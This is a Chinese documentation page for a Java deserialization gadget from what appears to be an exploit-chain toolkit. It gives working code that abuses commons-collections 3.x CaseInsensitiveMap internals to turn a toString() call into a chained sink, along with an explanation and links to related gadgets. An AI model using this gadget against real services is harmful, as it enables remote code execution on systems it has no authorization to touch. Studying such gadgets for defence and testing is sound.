- 类别:javanative 别名:— 优先级:未标注(默认)
- 作者:Unam4、Ar3h
- 依赖:
org.apache.commons:commons-collections3:3.x
用 commons-collections 3.x 的 AbstractHashedMap$HashEntry + CaseInsensitiveMap 构造一个「一旦被 toString() 就会调用内层对象 toString()」的 Map,为链条提供一个任意 toString 调用的原语(toString gadget)。
- 入口
tags:JavaNativeDeserialize—— 本 gadget 产物是可原生反序列化的CaseInsensitiveMap。 - 衔接
nextTags:ToString—— 之后需接一个「被toString()触发」的 gadget(如XString/BadAttributeValueExpException系列或其它以 toString 为触发点的 sink)。 excludes:无。
public Object getObject(Object toStringObj) throws Exception {
Map s = (Map)Reflections.createWithoutConstructor("org.apache.commons.collections.map.CaseInsensitiveMap");
Class<?> nodeB = Class.forName("org.apache.commons.collections.map.AbstractHashedMap$HashEntry");
Constructor<?> nodeCons = nodeB.getDeclaredConstructor(nodeB, Integer.TYPE, Object.class, Object.class);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeB, 1);
Array.set(tbl, 0, nodeCons.newInstance(null, 0, toStringObj, toStringObj)); // key=value=内层对象
Reflections.setFieldValue(s, "data", tbl);
Reflections.setFieldValue(s, "size", 1);
return s;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject(chain.doCreate(context)); // 先取内层 toString 目标对象
}逐段说明:
Reflections.createWithoutConstructor(...)无构造器实例化CaseInsensitiveMap(跳过其put时的 key 归一化,直接内嵌恶意 entry)。- 通过反射拿到私有内部类
AbstractHashedMap$HashEntry的构造器(HashEntry next, int hashCode, Object key, Object value),构造一个next=null, hashCode=0, key=value=toStringObj的桶节点。 - 用
Array.newInstance建一个长度为 1 的HashEntry[]数组作为底层data表,把恶意节点放进data[0],并把size反射置 1,使这个 map「看起来」有一个元素。 - 触发点:当外层对某处调用该 map 的
toString()(AbstractMap/AbstractHashedMap的toString会遍历 entry 并做key + "=" + value的字符串拼接)时,就会调用toStringObj.toString()—— 即把控制权交给下游 toString sink。
本类无 @Param。触发目标对象由链上下文(下游 gadget 产物)注入。
- 适用
commons-collections 3.x(依赖坐标org.apache.commons:commons-collections3:3.x)。 - 与 CC4 版本的差异:3.x 的
HashEntry构造器可直接传入 key/value(本类 key 与 value 都设为目标对象),而 CaseInsensitiveMap4ToString 只反射写key字段。 - 本 gadget 自身不触发
toString,仅提供「把任意对象接到 map 的 toString 拼接」的桥;需要一个外层会调用其toString()的入口或 gadget。
自由构件,未直接出现在 51 条预设链中。
- 下游(
nextTags=ToString):以toString()为触发点的 gadget(XString1/2/3、XalanXString*、BadAttributeValueExpExceptionToString等)。 - 同族:CaseInsensitiveMap4ToString(CC4 版本,等价原语)。